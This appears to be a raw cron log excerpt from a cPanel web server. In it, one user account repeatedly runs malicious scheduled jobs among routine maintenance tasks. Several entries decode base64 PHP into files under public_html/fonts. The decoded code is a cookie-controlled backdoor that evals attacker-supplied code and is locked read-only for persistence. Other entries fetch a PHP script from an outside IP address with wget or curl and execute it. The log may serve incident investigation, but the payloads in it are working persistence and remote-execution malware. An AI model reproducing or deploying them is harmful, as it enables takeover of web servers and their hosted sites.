Sep 11 00:19:01 ip-184-168-122-23 CROND[32764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:20:02 ip-184-168-122-23 CROND[402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:20:02 ip-184-168-122-23 CROND[404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:20:02 ip-184-168-122-23 CROND[405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:20:02 ip-184-168-122-23 CROND[408]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:20:02 ip-184-168-122-23 CROND[409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:20:02 ip-184-168-122-23 CROND[411]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:20:02 ip-184-168-122-23 CROND[413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:20:02 ip-184-168-122-23 CROND[414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:20:02 ip-184-168-122-23 CROND[412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:21:01 ip-184-168-122-23 CROND[513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:21:01 ip-184-168-122-23 CROND[514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:21:01 ip-184-168-122-23 CROND[516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:21:01 ip-184-168-122-23 CROND[515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:22:01 ip-184-168-122-23 CROND[623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:22:01 ip-184-168-122-23 CROND[626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:22:01 ip-184-168-122-23 CROND[628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:22:01 ip-184-168-122-23 CROND[627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:22:01 ip-184-168-122-23 CROND[629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:23:01 ip-184-168-122-23 CROND[799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:23:01 ip-184-168-122-23 CROND[801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:23:01 ip-184-168-122-23 CROND[802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:23:01 ip-184-168-122-23 CROND[803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:24:01 ip-184-168-122-23 CROND[877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:24:01 ip-184-168-122-23 CROND[881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:24:01 ip-184-168-122-23 CROND[880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:24:01 ip-184-168-122-23 CROND[879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:24:01 ip-184-168-122-23 CROND[882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:25:01 ip-184-168-122-23 CROND[971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:25:01 ip-184-168-122-23 CROND[973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:25:01 ip-184-168-122-23 CROND[975]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 00:25:01 ip-184-168-122-23 CROND[978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:25:01 ip-184-168-122-23 CROND[977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:25:01 ip-184-168-122-23 CROND[974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:25:01 ip-184-168-122-23 CROND[976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:26:01 ip-184-168-122-23 CROND[1076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:26:01 ip-184-168-122-23 CROND[1077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:26:01 ip-184-168-122-23 CROND[1079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:26:01 ip-184-168-122-23 CROND[1081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:26:01 ip-184-168-122-23 CROND[1080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:27:01 ip-184-168-122-23 CROND[1181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:27:01 ip-184-168-122-23 CROND[1182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:27:01 ip-184-168-122-23 CROND[1183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:27:01 ip-184-168-122-23 CROND[1185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:28:01 ip-184-168-122-23 CROND[1261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:28:01 ip-184-168-122-23 CROND[1265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:28:01 ip-184-168-122-23 CROND[1264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:28:01 ip-184-168-122-23 CROND[1263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:28:01 ip-184-168-122-23 CROND[1266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:29:01 ip-184-168-122-23 CROND[1480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:29:01 ip-184-168-122-23 CROND[1483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:29:01 ip-184-168-122-23 CROND[1481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:29:01 ip-184-168-122-23 CROND[1482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:30:01 ip-184-168-122-23 CROND[1567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:30:01 ip-184-168-122-23 CROND[1571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:30:01 ip-184-168-122-23 CROND[1572]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 00:30:01 ip-184-168-122-23 CROND[1577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:30:01 ip-184-168-122-23 CROND[1579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:30:01 ip-184-168-122-23 CROND[1580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:30:01 ip-184-168-122-23 CROND[1582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:30:01 ip-184-168-122-23 CROND[1585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:30:01 ip-184-168-122-23 CROND[1583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:31:01 ip-184-168-122-23 CROND[1677]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:31:01 ip-184-168-122-23 CROND[1679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:31:01 ip-184-168-122-23 CROND[1680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:31:01 ip-184-168-122-23 CROND[1681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
